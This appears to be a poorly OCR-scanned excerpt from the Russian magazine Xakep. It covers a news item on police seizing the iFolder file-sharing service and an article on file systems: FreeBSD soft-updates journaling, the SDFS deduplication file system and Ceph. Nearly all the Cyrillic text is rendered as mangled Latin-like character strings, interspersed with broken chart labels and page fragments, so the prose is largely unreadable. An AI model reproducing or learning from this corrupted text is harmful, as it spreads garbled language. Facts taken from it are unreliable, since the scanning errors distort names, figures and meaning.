BCe:::Ke OCTancS1 ocanovek . Ilene 8 TOM, '-lTO «Arasa» - He KaKa51-TO HII1KOMY He !I13BeCT-

Has:l Ha'-lIl1HalOw,a51 CPll1PMOYK3, a HanpOTII1B, ee iFolder- op,IIIH 1113 KpynHeMwlI1X cpaMJ1oo6MeHH"KOB PYHeTa. V1H¢opMa~"" 0 npO"30Wei\WeM MOMeHTanbHO nouina AO caMblX sepxca (caMa nll1, lIInlll eM s 3TOM nOMorJ1111 - peuian caM). KaK 6bl TO H" 6blnG, Y>Ke 19- co Ma pra M" H"CTP auyrpeHH"X ne.n pcp PaW"i\ Hyprar ue s nopy-u-ri OCYllleCTB"Tb cnY>Ke6HYIO npoae oxy no ¢aKTY npOEep,eHIII51 onepaTVlBHO-P03bICKHbIX MeponPIIIS1TII1M B OTHOWeHlI1111 XOCTIIIHroBoVl KOMnaHlllvl «Arasa». ManOToro, raxoe pacnopsxeuae rocnop,vlH Hyprannes cnenan no nll14HOMY nopyyeH"IO npe3"i\eHTa pcp ):\M"TP"" Mei\Bei\eBa .. nocne aror o Y>Ke Mano ko r o y,n.II1BVln TOT c:paKT, 4TO Ha cnep,ylOUJ,V1M p,eHb ifotder.ru, KaK HV1 B '-leM He 6blsano, aepayncs B crpo«. B Te4eHI'1e ac ero 19 MapTa cneAOSaTeJ1Vl, Y>Ke He OTKa- 3blsaRCb OT nOMoUJ,V1, VlCKaJ1V1 Ha cepsepax HY>KHble 111M cpaliinbl, a HawAR, paap eurun a pecypcy B0306HOB"Tb pa60TY. Ha cairre

no 3TOMY no ao.ay nORBVlnOCb cneny.ouiee 3aRBneHllle oTaraSOBLJ,eB: «Mbl HVlKorp,a He 60P0J1I11Cb, He 50peMCS1 VI He lIIMeeM HaMepeH"" 60POTbC" CO CTpa>KaM" nOp"i\Ka Mbl nll1Wb ycn eun+o ocnop ann v135bIT04Hoe, paspyurvrensaoe npaBOnplI1MeHeHlI1e, OTCTORB B "TOre Baw" "HTepecbl. ifolder.ru no-npexHeMY no acraer npe c e cars np e cryn ne uas B CeT". Ero 6ecnepe6ofiHa" pafio ra He MewaeT SbIRBJ1eHlllfO npaso aapyu.e a aji. nO>KaJ1yVicTa, He cosnaaatire np06J1eM ce5e Vl HaM: He Ft btTaVlTeCb HapYWVlTb 3aKOH C nOMow,blO Hawero CepBII1Ca».

[lapy i\Hefi cnyc rs ¢afinoo6MeHH"K ony6""KOSan TaK>Ke 111 6naro..o.apHOCTb npe3V1,o,eHTY, B KOTOPOM nOMII1MO «cnacubo» 6blna BblCKa3aHa MblCJ1b, K KOTOpoVi see -rauie 111 -rauie npVlXOp,51T HaWIl1 CTapTanUJ,II1KVI: « ... Xore nocs 5bl3aMeTVlTb, YTO rnaBHb!W yw,ep6, KOTOPblVi HaHecnVl 3H1 )J,e ViCTB 11151 , KocHynC51 He TonbKO Hac 111 HaWIiIX KJlll1eHTOB, a HaweVi crpaau B uenov. nOp,05Hble ,n.eViCTBII1R ClI1nOBblX opraHOB npuBOA51T K TOMY, YTO CTaHOBVlTCs:! see 60JlbWe 111 60JlbWe >KenalOUJ,II1X pa3MeLlJ,aTb VlHTepHeT-pecypcu aa py5e>KOM, a He B POCCVlVl. A, 3HaYVlT, 33 rpaanuy yre catcr cep se pa. pa604111e MeCTa VI cocTseTcTBYIOLlJ,V1e CPVlH3HcoBbie nOTOKII1». KaK TyT He scnOMHIIITb capKacTVl4Hbie npaBV1J1a ycneun-cro Be,.o,eHVls:lIT-51113Heca s POCCVlVl: «,lJ,ep>KII1Te cepsepa aa rpaHlI1l1,eVi. Perwc rpupyare ,n.OMeHbl aa rpaHlI1l1,eVi. PerncrpupYVlTe KOMnaH!I11O aa rpaHlI1l1,eVl. Ye3>KaViTe 3a rpauuuy».

B caMOM nene, YTO nenars. e cn« K r efie 1I13-3a rsoero IT -npoexra npuxcns r «MaCKIIl-woy»

VI 6e3 cyna 111 cne,n.CTBIIIs:1 OTKJ1 fO'-la lOT ace: 4TO MO>KHO, III YB03S1T Ha «3KcnepTII13Y», «cropas Ts:lHeTC51 MeCs:llJ,aMVl? 5e>KaTb Ha nOKJ10H K «uapio-fianour«e», ecnVl Tbl He «Ar aaa», HeCKOJ1bKO npo6neMaTVlYHO, na Vl nonblTKII1 OTCTaVlBaTb CBOIII npasa y Hac nanexo He ace rna 3aKaH4111BalOTGI XopOWO Vl ycneun+o. Ox, Henerxoe 3TO p,eno - 33HVlMaTbCS1 IT -611l3HeCOM SPOCCII1Vl. _ii...

~ 077

•• EBreH"1Ci 306H~1H z c b ni nfdq m aiLc o m

Clients

Metadata Cluster

Metadata operations <====>

fr Metadata ~ storage

Object Storage Cluster

1F===iI~

client :

i===::::l.jl m roc :

~ J

BenHKHM

V

.... aHnOBbIH nyTb

o 30p HOBMHOK B MMpe (jlaMnoBblX CMCTeM

ApxvneKTypa wa~JlOBO~ CVlCTeMbl Ceph

cDaiiiJloBble CV1CTeMbl, KaK V1 JlfD60iii ,lJ,pymiii KOMnOHeHT COBpeMeHHblX OnepaLJ,V10HHb1X CV1CTeM, nOCTOs=lHHO pa3BV1BafDTCs=l V1 CMeHs=lfDT ,lJ,pyi npyra.

C POCTOM 06beMOB XpaHV1JlV1UJ, V1HcpopMaLJ,V1V1 V1 nOs=lBJleHV1eM HOBblX TeXHOJlOiV1iii o6pa6oTKV1 ,lJ,aHHbIX crapue nO,lJ,XO,lJ,bl K xpaHeHV1fD

V1HcpopMaLJ,V1V1 OTMV1pafDT, V1 Ha CMeHY V1M npV1XO,lJ,s=lT fionee COBepweHHble V1 npncnocobneuuue K COBpeMeHHblM YCJlOBl-1s=lM. CJle,lJ,YfDUJ,V1e -ierupe rionocu xypaana nocasuieuu nOCJle,lJ,HV1M TeH,lJ,eHLJ,V1s=lM B 06JlaCTV1 pa3BV1TV1s=l cDC.

FREEBSg III >KYPHAJlIIIPYE- FFS [Fast FileSysteml DC FreeBSD. 3Ta HOBOCTb H"IO 5 wn" naxe 10neTHa3aA MewanOTonbKOTO,

MAs:! <1>AIIIJ10BAs:! CIIICTEMA cpasy crana nOBOAOMAn" HaCMeweK co CTOPOHbl 4TO B HeM npocro He 6blnD He06xOA"MOCTW. YT05bl

8 ,lJ,e Ka 6 pI=! npownoro rona ,lJ,>KecppV1 Po6ep- MHor04V1cneHHb1X rponneji, xoropue B o-iepen- nOHIHb, nOyeMY, VI B yeM OTnV1YV11=! HOBOro Mexa-

COH, C03AaTenb nnaHV1pOBLl(V1Ka ULE)I1 O,lJ,V1H V13 HOC1 pas oKpeCTV1JlV1 BSD-cJ;]cTeMbl XO,IJ,S1YV1M HV13Ma OT nos B)I1 sureroca He TaK,IJ,aBHO GEOrv1-MO-

aKTV1BHbIX pa3pa60T4V1KOB FreeBSD, C006Ll(V1Jl B rpyncu. G,lJ,HaKO HV1KTO V13 HIIlX TaK III He nOHS1Jl cyra ,lJ,YJlS1 gjournal [KOTopblC1 TeOpen1yeCKV1 n03BOJlS1eT

csoeM 6Jlol-e [http://ierfr-lech.livelournal.com] 0 nponcxonsuiero. Ha caMOM nene pa3pa6oTaHHbliii npV1Kpyn1Tb >KypHaJl ,IJ,a>Ke K FAT12)ltlnV1 MeXaHItl3-

npOBO,lJ,V1MOiii pabore Ha,lJ, MexaHIIl3MOM >KypHaJlIl1- .o.>Kecppltl MexaHV13M >KypHanV1pOSaHII1S1 He COBceM Ma >KypHaJlll1pOBaH\Il$1 «ocpll1LJ,lI1anbHbIX» cpailtnOB:,IX

pOBaHV1R AnI=! CTaH,lJ,apTHoilt cpailtnoBoilt CV1CTeMbl CTaH,lJ,apTeH Vl ,ll,OCTaT04Ho npocr, a era nenana- CV1CTeM l.inux, 06paTVlMCI=! K lIICTOPV1V1

~ 078

XAKEP 06/137/10

• AmazonS3

n~IIIHUMn pa60Tbi SDFS

\11 CTOpll1yeCK\I1 cpai.111oBaR C\I1CTeMa npencraanser c060(1 ccao cyru+ocrs MeTa,.o.aHHblX V1 6nOK08, HenOCpe,D,CTBeHHO XpaH51lU,lt1X ncr saoearenscxae ,lJ,aHHble. 80 BpeMs:! npoV138e,.o.eHlt1s:J KaKo01-1111160 onepauun Ha,lJ, cpa VlIl OM npOVlCXDAlliT MOAIt1CPI!1 KalJ,V151 cpasy HeCKQllbKV1X 06naCTeVl <DC, BKllI{J4al1 uiaru no V13MeHeHII1IO MeTa.n.aHHbIX lI1 MO,lJ,II1<pIt1KaLl,VlIO CO,lJ,ep>KV1MOrO cpai.1na. HanpnMep, npa C03AaHlI1l1t HOBorD ¢aC1na, KpOMe HenOCpe,lJ,CTBeHHOllt 3am101 era cO,lJ,ep>KII1MOrO Ha )J,II1CK, CDC ,lJ,OmKHa cnenars cnenyiouiee:

1. 3anVlcaTb II1H¢OpMau.V1IO 0 cpaC1ne [run. npasa nocryna, Kom14eCTBO CCblnDK ~ r.n.) B Ta6n~~y mode;

2. nOMennb 611 0 K\I1 , Bbl,D,eJleHHble ,lJ,1lS1 XpaHeHII1R cpaC1na, Ka K 3aHSHble;

3. 3anlllcaTb CBR3KY "inode:\I1MR_¢aC'lna" 8 cpaC1n xaranora

npVl4eM see 31\..1 )J,eiA.CTBlI151 )J,omKHbl 6blTb BblnonHeHblll1MeHHO B TaKoilt nocnenoaarcnsuocra. B lt1)J,eanbHOM Mlt1pe ace 6blno 6bl npexpacuo, 0)J,HaKO peanbHocTb BHOClI1T CBOIl1 KOppeKTII1Bbl, nO)J,ClI1CTeMe VFS, Ile>Kaw,e~ ypoBHeM auuie. 111 K3WY xecrxoro )J,lIIcKa Hlt14erO He1l13BeCTHO 0 MeTa)J,aHHbIX. Ans=! HII1X BCs=!3anll1CblBaeMas:l lI1HcpopMalJ,lI1s:1 - npOCTO~ Ha60p 6avlT, n03ToMY 'eCIllt1 MeTa)J,aHH ble 6Y)J,YT aa nncuaar sca Ha )J,lI1CK B aCII1HXpOHHOM pe>KII1Me, npoxons 4epe3 K3W VFS lt1 >KeCTKOro ,lJ,lI1CKa, HII1KTO He CMO>KeT rapaurupo aan, lI1X sanuc s B npaBlI1nbHOM nopsnxe. :=iTO 06s:!3aTenbHO npuaener K npOTlt1BOpe4l11BOMY COCTOs:lHlI1lO CDC s cny-iae cfios [«nOB!I1Curve» YKa3aTeIlIl1, HeO)J,H03Ha4Has:l n plt1Ha,D,ne>KHOCTb pecypCOB, «001- pore aurue» pecypcul, lt1 rcrna - npuae r. fsck, a 8 HeKOTopblX cny-raax

- rte oecoananae CDC.

Ans=t peWeHII1)=13TO~ np06neMbi MO>KHO ucnonsaoaare KOM6111HII1pOBaHHblilt pe>KlI1M aanuc». npll1 KOTOPOM MeTa)J,aHHble 6Y,lJ,YT 3anll1CaHbi B CII1HXPOH-

HOM pe>KlI1Me, a )J,aHHble - B a01HxpOHHOM. Torna ¢aTanbHblx OWlI160K CDC MO>KHO lI136e>KaTb, 111 naxe eCflll1 c60ilt np0Il130~,IJ,eT Me>K)J,y BTOPblM III TpeTbVlM uierov BbIWenpII1Be)J,eHHo~ nocnenoaareru-uocrw. OW1l16KII1 6Y)J,eT nerxo II1CnpaBII1Tb C no-rouisto aetnon HeHII151 fsck )J,a>Ke Ha Y>Ke CMOHTlIlpOBaHHoVl CDC. Ho BOT 3aca)J,a: CII1HXpOHHbl~ pe>KII1M 3anll101 n Pll1BO,D,II1T K «or oceansHblM norepsu np01ll3Bo)J,II1TenbHOCTlI1, a cas-a aaru-rct, lI1,D,eT OyeHb Me)J,neHHO. Anrl ofixozia 3TOVl np06neMbi B csoe BpeMs:I 6blilO noennoxeuo MHO>KeCTBO pa3m.14Hb1X cnocofioa. 1113 KOTOPblX oc06eHHO nonynl=lpHblM cran MeXaHI.13M >KypHaJ1l1lpOBaHII1s:!_ CYTb npocra: r)J,e-TO B ¢ailtnoBoilt CVlCTeMe OTBO)J,VlTCI=I He6onbwoilt Y4aCTOK )J,nR XpaHeHlt1)=1 xypuana. kcrna B03HlIlKaeT sanpoc Ha coaaauue II1nll1 MO,Il,lI1cpIl1KalJ,1I11O cpaVlna, BC51 VlHcpopMalJ,II1R 06 Vl3MeHs:leMbIX

n pVl 3TOM MeTa,Il,aHH blX 06bep,lI1Hs:leTGl 1-1 noucuiaercs B >KypHan C nOMow,blO e)J,II1Hoilt aToMapHolll c tepauuv aanucu. HenOCpe,lJ,CTBeHHa51 >Ke 3am1Cb MeTap,aHHbIX npOIl1CXO)J,lI1T 8 aCII1HXpOHHOM pe>KI-1Me. B MOMeHT, «orzia ace Mera)J,aHHble cpailtna norianyr Ha p,II1CK, COOTBeTCTBYIOw,as:l 3anl-1Cb ynanserCI=I1I13 xypuana. B cny-rae C6051 ,lJ,ns:l npIl1Be,lJ,eHlt11=1 CDC B HenpOTV1BOpeYIt1BOe COCTOSiHlt1e 6Y)J,eT )J,OCTaT04HO npocro 1I138ne4b V13 >KypHana see 3anVlCVlll1 npVlMeHlt1Tb VlX K cpa~noBoilt CVlCTeMe. 3TO pa3YMHbl~ KOMnpOMVlCC Me>K,lJ,Y np0I-13BOp,I-1TenbHOCTblO 111 cTa6l11nbHOCTblO: XOHl 3amlCb 8 >KypHan 111 cxaauBaeTC)=I Ha npOVl3Bop,II1TenbHOCH1, HO naneko He TaK ClI1nbHO, KaK ClI1HXpOHHas=t aanac., MeTa)J,aHHblX Ha ,Il,lt1CK, npll1 KOTOPOtl! ronoexe BlI1H4eCTepa nplt1XOp,II1TCri MeTaTbCI=I Me>KAY pa3HblM!t1 Y4aCTKaMlI1 p,I-1CKa.

XAKEP 06 /137/ 10

20

TCP

-- no replication I

"' 2x replication I

.s15 3x replication /

is I r--

c; sync write ---,~..;'.r

~10 sync lock, async~:t:<::::::?>"",-

~ :!='=~=~=-~:'~~-=~=-~=-=~~~=-=~=~=-~=-~;'=~='~='=-':.=--=-==~----,-----,-~Q:<-,

4

64

Write Size (KB)

BpeM51 o~<lIIgaHM513anMcM gaHHblx ODHIIIM KnMeHTOM B KJlaCTe~ Ce~h

16

256

1024

Pa3pa6oT4lt1KVl FreeBSD noumn no npyros-y nyrn, npll1MeHII1B MexaHVl3M nor; Ha3BaHVleM «MSirK!t1e o6HoBneHVlR» [Soft Updates). B AByX cnoaax, ero cyrs 3aKnlO4aeTCS1 S V1cnonb30SaHII1I11 cncuuansuoro K3wa cpa~JlOSOVl CVlCTeMbl )J,nSi XpaHeHII1S1 \.13MeHeHII1Vl MeTaAaHHbIX, VlX 06be,lJ,II1HeHlI1l=1!t1 nO)J,,[J,ep>KKII1 3aB~C~MOCT~ MelKAYAPyr APyrOM. 3TO rapa-rrapyer npaB~nbHylO nocncnoBaTeJlbHOCTb 3anVlClt1 MeTa)J,aHHbIX Ha A\.1CK lI1 B TO >Ke BpeMs:! He rpebyer VlX CVlHXpOHHO~ 3anIl1CV1. npV1 Vlcnonb30SaHlI1Vl «Ms:lfKIIIX 06HOBneH!t1t1!» C60Vl MO>KeT npV1BeCTII1 TOllbKO K,[J,ByM HecornaCOBaHHOCT51M cpaVlnOBOtl! CII1CTeMbl: noBII1CWlI1e inode V16nOKV1. OHV1 He OTHOClncSi K rn06aJ1bHblM HeCOOTBeTCTBlIIl=IM CDC [TaKII1M, HanpVlMep, KaK 6nOKV1, O,[J,HospeMeHHO anpecyevue p,ByMR inodel. n03TOMY OHa MO>KeT 6blTb CMOHTVlpOBaHa, a fsck 3anyw,eH B CPOHOBOM pe>KII1Me Ha Y>Ke CMOHTlI1pOBaHHol1 CDC [c06CTBeHHo, TaK V1 npoucxonar. Ha4V1- Hao c nOTa", BeTK~ FreeBSDI.

EAVlHcTBeHHblilt 3aMeTHbl1ll MVlHyC Soft Updates B cpaBHeHlIllt1 C xypuano» COCTOVlT B TOM, 4TO 3anyw,eHHblVl B CPOHOBOM pe>KVlMe fsck 3aMeTHO xyuiaer pecypcu, 4TO npV1 60JlbWlI1X o6beMax ,lJ,II1CKOB MO>KeT npll1BecTVl K ,Il,OCTaTOlJHO p,J1I11TenbHbIM nposanav np0Il13Bo)J,II1TenbHocTV1. CaMO co60ilt, rakce noncxeHVle Bel.ll,eVl He HpaBVlJlOCb MHOrVl'vl, VI, B KOHLJ,e KOHLJ,OB, KOMn3HlI1Vl iXsystems, Yahoo! \11 Juniper networks aCK!-1hyn!-1Cb»!-1 3an1l3T!-1Il!-1 A>Kecppll13a It1Cnp3Bneuue aroro He)J,04eTa

Hoeas CII1CTeMa >KypHaIlVlpOBaHII1i1 lpafiora Ha)J, KOTOPOtl! aenacs COBMeCTHO C asropov «MS1rKVlX o6HoBneHVlilt» - KltlPKOM MaKKY3VlKOM) crana HVl4eM II1Hbl M, KaK npocruv pecuuipeuaeu TeXHOJlOn1111 Soft Updates. B OTJl1114 lI1e OTTpa,Il,VllJ,VlOHHbIX CII1CTeM >KypHanll1pOSaHI.-1S1, OHa peracrpnoyer ronsko Te caMble onepauau Bblp,eIleHlI1s:1l11 OCBo6o>K)J,eHII1s:1 6nOKOB 111 inode, rorna KaK ace ocransuoe 6epeT Ha ce6s:1 MeXaH!t13M Soft Updates. bnaronaps arouy yp,anOCb,1J,OCTII14b MI.-1H!t1ManbHbIX pasvepos xypaana 1I160nee BblCOKOilt no cpaBHeHl.-11O C Tpa)J,VllJ,1I10HHbIM >KypHaJlll1pOBaHVleM np0Il13BO,Il,lI1TenbHOCTII1.

A~~SB~~~~g~~~~~~i~:H~~

MO)J,eIlb 06naYHbiX Bbl4111cneHVllll npuobperaer ace 60IlbWYlO nonynspuocn.. Ans:! MHOrl.1X KOMnaHV1Vl (Vl naxe 4aCTHbiX .nV1lJ,1 npow,e Vl auronuee apeunoears Ha BpeMs:! Y>Ke rorosue K pafiore Bbl)J,eneHHble BVlpryanbHble cepsepu, lJeM no cynars ncporccrosuuee cepBepHoe 060pY)J,OBaHlI1e Vl onna-n-aars ero nonnepxxy BlI1pryaJlbHble cepaepu YAo6Hbl, Ha,1J,e>KHbl, ux nerxo SOCCTaHOBI;1Tb nocne cfioes. O,[J,HaKo nposaanepy yCJlyr 06naYHbiX Bbl4l11CneHVlilt 111 X conepxauue 06XOp,VlTCR B KpyrneHbKYIO CYMMY, 4TO CKa3blBaeTCR Ha CTO!t1MOCTII1 apeunu, 111, cnenoaarensuo. Ha ncnynnpaocn- cpenu Knl;1eHTOB. B cpene npOBa~,1J,epOB nOCTORHHO ltl.o.eT nOVlCK cnocofios Y,Il,eWeSneHlI1s:! cO)J,ep>KaHI;1s=t BlI1pryanbHblx MaWVlH!-1 Bceilt VlHcppaCTpYKTYPbl B ueriou. O,lJ,II1H 1.-13 cnocofios czienars 3TO 3aKJllOlJaeTCS1 8 II1CnOrlb30BaHII1111 TeXHonorll1l11.o.e.n.ynnIl1KalJ,1.-1111 ,Il,aHHbIX, «oropas n03BonS1eT C3KOHOMVlTb cyu.ecreeuaue cpencraa Ha 06beMax ,lJ,VlCKOBOro xpauanmua

Ae,IwnJlI;1KalJ,1.-11=1 )J,aHHbIX npencrannser C060Vl npouecc IIICKJllOlJeHVl)=l 1;136blT04HOCTI.-1 p,aHHbIX nyreM y)J,aneH!-1R nl-1WHl-1X KOnl.-1M III Hq)QpMalJ,l-11-1 III coxpaaeaus Ha II1X MeCTe CCblflOK Ha e)J,I1HCTBeHHbltl! 3K3eMnIlS1p. YT06bl

~ 079

Sequential Block Writes

100

Write Unique Characters (put_c)

8D

12D
1DO
a; 80
"
60
40
20
EXT4 128k 64k 32k
SDFS Block Size Reading Character Data (all unique)

80

60

a;

"

40

20

4k

np0V13BOAf1TenbHOCTb SDFS VS. Ext4 B TeCTaX bonnie++

nousrs. nOLfeMY 3TO TaK Ba>KHO, li1 CKonbKO Ali1CKOBOro npOCTpaHCTBa MO>KHO C3KOHOMVlTb, npencraas ce5e cneAYIOw,ylO KapTV1HY: TbI3aHVlMaeWbC51 npeAOCTaBneHV1eM ycnyr rnna «BV1pryaJlbHbl~ cepsep s apeuny»: Vl.o.n51 ruofioro cbpamsurerocs K rebe KllV1eHTa cosnaeu.s BlllpTyanbHbli:1 cepsep

Ha aCHOBe Red Hat Enterprise Linux 5.,D,ena Vl,D,YTXOPOWO, nOTOK KllVleHTOB pacrer, 111 scxope I>1X KOJlll14eCTBO nptr15nll1)!(aeTC51 K OTMeTKe 1000. T blli1MeeWb XOPOWYIO npll15blllb, HO 60nbWa51 ee -racrs YXOAli1T Ha nOKynKY ucaoro xenesa. ECJlli1 npe,D,CTaBII1Tb, 4TO Ka>K,D,OMY KJlll1eHryTbl Bbl,D,eJls:leWb 1016 p,V1CKOBoro npOCTpaHCTBa, TO ,.D,Jl51 06CJlY.>KI!1BaHII151 1000 KJll!1eHTOB refie nOHa,D,06I!1TC51 npl!lMepHO 10 T6 ,[l,V1CKOBoro npocTpaHcTBLl, a 3TO ckono 20 >KeCTKV1X ,[l,V1CKOB no 500 16 Ka.>K,D,bIVi. npVl3TOM KaK MVlHV1MYM 4eTbipe Vl3 HIIlX VlCnOJlb3YIOTC51 ,D,n51 xpaHeHIIl$1 O,D,HV1X VI TeX.>Ke AaHHbIX, Be,D,b 6a30BaS1 V1HCTanmH..\V151 DC 3aHVlMaeT orono 216, a see 3Hl KJlV1eHTbllt1CnOJlb3YIOT OgHy OC. CJlO)f(1-18, nonY4aeM 2 T6 KonVl(ii KonVliit KOn\t1(ii 6a30Boll1 VlHCTaJlJl51ll,V1V1 Red Hat Enterprise Linux 5. npV1MeHV18 ,lJ,e,lJ,ynJlV1 ka LJ,1I1 10 , Tbl CMor 6bl Vl36a8V1TbcS1 OT scex 3TV1X KonV1~, OCBo6o,D,V1B conVl.o.Hbl(ii Y4aCToK npocrpaacraa, xoropoe 3aH51nV1 5bl ew,e 209 KJlV1eHTOB!

nO,lJ,,D,ep>KKa ,D,e,IJ,ynnV1Kau,V1V1 ,D,aHHbIX cyuiecrayer B HeKOTopblX peWeHV151X NAS V1 KOMMep4eCKlllX nporpaMMHblX nponyxrax. OHa 6blJla ,lJ,06aBJleHa B oafinoayio C"CTeMY ZFS B Ho"6pe 2009 rona, a COBceM Hel\aBHO 6blna BblnYl11eHa l\el\ynn"~"pylOl11a" pacnpenene-u-as q,ai:1noBa" C"CTeMa SDFS, paspaboTaHHa" B paMKax orxpuroro npcexra Opendedup (www.oDendedup.orgl. Hecuorps na Ha3BaHiI1e, SDFS He ~BJlS1eTCS1 cpa(iinoBOIl1 CV1CTeMOYI B np51MOM CMblCJle cncaa. 3TO npocr oaxa. HanVlCaHHa$1 Ha 513blKe Java iI1 peanusoSaHHa51 C Vlcnonb30BaHV1eM MeXaHI!I3Ma ,D,JlI1 C03,1J,aHIII51 cpaVinOBblX cucreu npOCTpaHCTBa nonsaoaarena fuse (fuse.sf.netl. SDFS COCTO"T"3 cnenyioUJ,IIIX KOMnOHeHTOB:

1, Fuse Based File System. CDaiilnoBaS1 CIIICT€Ma ypOBH51 nonb30BaTeJ151, npep,OCTaSJlS1IOw,aS1 ,D,ocryn K cpaG1naM V1 xaranorau.

2. Oedup File Engine. CepBV1c Ha cropoue KlliI1eHT3, KOTOPblVt npil1HVlMaeT see aanpocu Ha ,lJ,OCTyn K cpa~JlaM OT cpaVinoBo(ii C\I1CTeMbl VI orae-raer aa xpaHeHille MeTaAaHHblX III «apru ,lJ,y6J1I11KaTOB, CBS13aHHbIX C cpaillnaMVlIII KaT3JlOraMIII. 3. Deduptication Storage Engine. Cepsepaas cropoua, 1\8")I(OK l\eIWnn"Ka- 1I,1IIV1. OTBe4aeT aa xpaHeHV1e, 1113Bne4eHllle li1 YAaneHllle nOBTOp51IOW.li1XC51 ,lJ,3HHbIX. AnSi xpaHeHVl51 p,aHHbIX IIIcnollb3yeT HItI3Jle>Kaw,ylO cpaYilloBYIO CIt1CTeMY Yllll11 XpaHV1JlVlw,e Amazon 53, ItlH,IJ,€KCV1PY515nOKVI C nOMow,blO x3W-Ta5JlV1LJ,bl Ha scex MaWi--1HaX, korcpue ,[\OJl>KHbl yyaCTBOBaTb B XpaH€HVlVl AaHHbIX, 3anYCKaeTGI ABVI>KOK,IJ,e.o.ynJl III «a LJ,iI1 VI. Ha KnVleHTCKIllX MaWV1Hax, ncnonsayioW,V1X XpaHV1JlV1w.e gaHHblx, 3anYCKaeTCR cepBV1C Oedup File Engine, KOTOPbl1l1 nO,lJ,Kn104aeTC51 K,D,OcrynHbiM ,ll,BIII>KKaM p,€,D,ynnV1 Kall,lIl VI VI ncnyvaer nocryn K XpaH"n"l11Y. An" 06111eH"" C Dedup File Engine q,a"noBaR ["CTeMa (Fuse Based File Systemi "CnOnb3yeT MeXaH"3M J NllJava Native Interfacel.

KpoMe CTaH,D,apTHOYI cpa !linoBoY! CV1CTeMbl,!J,1l51 xpaHeHIII$1 ,lJ,aHHblX MO>KeTlIIcnonb- 30BaTbCR xpa-nnuute Amazon S3. 06111"" pasvep CDC cnocoben 1\0[T"raTb8 n6, MaKCIIIMaJlbHbl~ pa3Mep onuoro cpaG1Jl3 ~ 250 16. cpi1V1nOBaS1 ClI1CTeMa MD>KeT 6blTb «paavaaaaa» no 256 pa3JlVl4HbiM XpaHVlJlVllLlaM, 06cJlY>KVlSaeMbIM Deduplication Storage Engine. Bbl51BneHllle VI YCTpaH€HIII€ ,IJ,y5nIllKaTOB,IJ,aHHbIX npolIICxO,lJ,lIIT

Ha yposae bnokoa pa3MepoM 4 K5. CDa(iinosaS1 CV1CTeMa cnocofn-a npOVl3BO,lJ,VlTb

~ 080

,IJ,€,D,ynnIllKau,1II1O -ranery [BO speM513anV1CV1 HOBblX,IJ,aHHblX) III11Vl >Ke 3anYCKaTbCQ B npcuexyrxax HalllMeHbWetll aKH1BHOCTVI onepauua BBop,a-BbIBO,lJ,a KaK¢oHoBbl(ii npouecc. Cpen-i npyrux oco6eHHOCTe" SDFS MO)l(HO OTMeT"Tb nonnepxxy CHanWOTOB HaypOBHe ¢aillJlOB 111 «aranoros. nO,iJ.1J,ep>KKY3KcnopTa C nOMOUJ,blO npOTOKOnOB NFS Vl CIFS III,1J,OCTaT04HO BblCOKYIO np0Il13BO,IJ,IIITeJlbHOCTb.

CEP_H - PACnpE,lJ,EnEHHA~ <l>A~nOBA~ C~CTEMA

CV1ryaLJ,lII51 C pacnpe,D,eneHHbIMV1 ¢a~JlOBbIMV1 CIllCTeMaMIII B MiI1pe Open Source narieka OT lII,ll,eana. CYl..l.I,eCTByeT MHO.>KeCTBO rOTOBblX ,lJ,n~ npoMbIWJleHHO~ 3KcnnyaTalJ,V1i11 npOeKTOB, O,IJ,HaKO Hili O,D,V1H 1013 HiI1X He MO>KeT noxeacrareca XOpOWIIIM C04eTaHV1eM Sa.>KHbIX An 51 pacnpeneneuuux CDC xapaxrepucrax. O,lJ,HII1 o bnana lOT BblCOKOIl1 Ha,IJ,e.>KHOCTblO, HO npcaanasaor recrsi Ha npOIll3BO,lJ,V1TenbHOCTb, npyn-e BbIPbIBaIOTC~ B Jlll1,1J,epbl no CKOPOCTV1 nocryna. HO 05ecne4111BalOT He caMblW ny4wlIlll1 noxaaarer s Ha,lJ,e>KHOCTV1 V1 pacunapaet-rocrn. TpeTbV1 MOryl paCTV1 n04TIII,D,0 6eCKOHe4HOCTI;1, HO iI13,D,eBaTeJlbCKV1 MeAJleHHbl. He y,D,VlBV1TenbHo, 4TO IIICClle,lJ,OBaTenbCKV1e paboru B 3TO~ ofinacru Be,lJ,YTul aenpepua-ro. V1 n04TV1 Ka>K,IJ,bIVi ro,IJ, Mbl CTaHOBIIIMCS1 CBIII,IJ,eTen51MIII pO>K,D,eHlIl51 HOBOI~ pacnpenene-n-cn CDC, KOTOpa$1 npereuziyer ua 3BaHV1e lII,1J,eana. 3TO nponaouino III C ¢a(iinoBo(ii Cli1CTeMOVI Ceph, «oropas oxaaanacs HaCTOJlbKO ycneun-oji. 4TO KO,IJ, ee KnllleHTa 6blno peuieuo BKJlIO""Tb B l.inux-snpo aepcuv 2.6.34.

Ceph [http://ceph.newdream.neli ~MeeT 1\0CTaTO"HOI\OnrylO ~CTOp~1O pasBV1TV151; anepsue ee apXII1TeKTypa 5blJla onncaua aBTopOM C3V1,D,>KeM BlllnoM B ero l\"nnOMHoi1 pafiore B 2006 rony. K Ho"6plO 2007 rona OH npencraewt cTa6V1nbHYIO eepcuo. pearnaaoaauayio C lIlCnOJlb30BaHllleM fuse, li1 Ha4aJl paborars Hal\ pean"3a~"e" MOl\ym I\n" nnpa Linux. CerOI\H" Ceph yxe ,lJ,OCTaT04HO cTa6111JlbHa ,lJ,n~ nOBCe,lJ,HeBHOro lIlcnOnb30BaHV1~.

CpeAIII rnaBHblX nnlOCOB Ceph aBTOp OTMe4aeT cneny.o.uue:

• COBMeCTlIlMOCTb co cTaHgapToM POSIX;

• n poapa-u-oe MaCWTa6V1pOBaHllle OT ,D,eC51TKa,lJ,O TbICs:l4V1 Y3nOB;

• 05w,1II(ii 06beM XpaHI!IJllIIl..l.l,a [MO>KeT COCTaBJl$1Tb COTHV1 neTa5aViT];

• BblcoKllle noxaaarenn nocrynuocra V1 Hap,e.>KHOCTIII;

• N-way penJlV1Kau,lo1~ scex AaHHbix Ha MHO>KeCTBO Y3JlOB;

• ABTOMaTII14eCKaS1 pe6anaHCV1pOBKa ,D,aHHbIX B cny-rae ,D,06aBneHV1I=1/YAaneHV1s:1 ysna ,D,Jl51 60nee 3¢¢eKTVlBHoro V1cnonb30saHV1S1 pecypcos:

• npOCTOTa pa3BepTbIBaHlt1S1 (6onbwVlHCTBO KOMnOHeHTOB ¢a(iinoBo(ii Clt1CTeMbl peanuaceauu B BII1,D,e ,D,eMOHOB npocrpa-rcrsa nonb30BaTem1];

• HaJlV14111e fuse-knueura:

• HaJlw.Jllle KnllleHTa ,lJ,n)=! s:I,IJ,pa Linux.

